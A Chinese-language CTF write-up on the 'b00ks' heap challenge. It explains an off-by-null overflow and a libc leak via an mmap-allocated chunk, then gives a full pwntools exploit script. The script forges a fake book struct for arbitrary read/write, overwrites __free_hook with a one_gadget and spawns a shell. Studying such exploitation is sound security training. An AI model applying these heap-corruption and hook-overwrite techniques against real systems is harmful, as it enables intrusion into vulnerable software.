堆上的off-by-null

写在前面

经典off-by-one的利用,而且是只有单字节null溢出。配合edit和show获得任意地址读写的能力,有趣的一点是在不用free的情况下就可以leak libc。这种题patch free就没有意义啦

漏洞点

my_read函数没有处理好边界,可以溢出一个null字节。首先pointer array填满之后,被分配到第一个chunkptr覆盖。导致show author的时候就可以leak heap了。接着通过凑布局的方法,再次溢出author name可以把array[0]的最低字节改成null,想办法让它指向array[0]的description。而只要在这之前给array[0]的description里通过leak的heap地址伪造好fake struct,通过show和edit就可以任意地址读写一次。如果让description指向其他的stuct_description_ptr,修改1的description就可以修改其他的description_ptr,那么真正做到多次任意地址读写。但是程序开了PIE,并且不能改got,必须leak libc,而分配和释放堆的顺序又让leak出一个libc地址很难。一个有趣的trick:因为没有约束description的size,可以分配一个超大的(大于132k的chunk),这样就会调用mmap分配地址,而这个地址和libc的偏移是固定的,而且这个地址会记录在struct中,struct地址又可以算出来。通过任意地址读写就能leaklibc了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('libc.so.6')
if debug:
io = process('b00ks')
else:
# io = remote('')
pass

def create(name, description, description_size):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('size: ')
io.sendline(str(len(name)))
io.recvuntil('chars): ')
io.sendline(name)
io.recvuntil('size: ')
io.sendline(str(description_size))
io.recvuntil('description: ')
io.sendline(description)

def printall():
io.recvuntil('> ')
io.sendline('4')
return io.recvuntil('Author: ')+io.recvuntil('\n')

def delete(idx):
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('delete: ')
io.sendline(str(idx))

def change(id, content):
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('edit: ')
io.sendline(str(id))
io.recvuntil('description: ')
io.sendline(content)

def change_author(name):
io.recvuntil('> ')
io.sendline('5')
io.recvuntil('name: ')
io.sendline(name)

# 方便gdb debug,输入偏移地址就好
def DEBUG(bps = [], mems = []):
cmd = "set follow-fork-mode parent\n"
base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
cmd += ''.join(['x/10gx {:#x}\n'.format(m+base) for m in mems])
cmd += ""
raw_input("DEBUG: ")
gdb.attach(io, cmd)

# 用off by null泄露堆地址
io.recvuntil('name: ')
io.sendline('a'*32)
create("a"*0x80, "b"*0x30, 0x30)
# print(hex(u64((printall()[-7:-1]).ljust(8,'\x00'))))

# 用mmap分配一个块,这个地址会记录在bookstruct的descript_ptr里,和libc有offset的固定偏移
first_book_struct = u64((printall()[-7:-1]).ljust(8,'\x00'))
first_book_description = first_book_struct - 0x40
create("c"*8, 'test', 1320000)
offset = 0x4ca010

# 往struct1的description里写上一个fake struct,伪造struct的descptr可以任意地址读写
# 读struct2的descript_ptr减去固定偏移可以泄露libcbase
# 最后写malloc_hook即可
second_book_desc_ptr = first_book_struct + 0x30 + 0x20 + 0x10
fake_struct = p64(1)+p64(second_book_desc_ptr)+p64(second_book_desc_ptr)+p32(0x30)
change(1, fake_struct)
print(hex(second_book_desc_ptr))

# 利用off by one修改bss段的array数组的第一个指针低位,指向fake struct
change_author('a'*31+'\x00'*1)

io.recvuntil('> ')
io.sendline('4')
io.recvuntil('Description: ')
libcbase = u64((io.recvuntil('\n')[:-1]).ljust(8,'\0')) - offset
malloc_hook = libcbase + libc.symbols['__free_hook']
onegadget = libcbase + 0x4f322 # 0x4f322
# print(hex(libcbase))
#struct <-- array[0]
# {
# id <-- array[1]
# name |
# description ----------
# size
# }
# array[s2_description_ptr,s2_struct_ptr]
# struct2's description ptr == malloc_hook
change(1, p64(malloc_hook))
# DEBUG([0xA89], [0x202040, 0x202060])
change(2, p64(onegadget))
delete(1)
io.interactive()
文章目录
  1. 1. 写在前面
  2. 2. 漏洞点
  3. 3. exp
|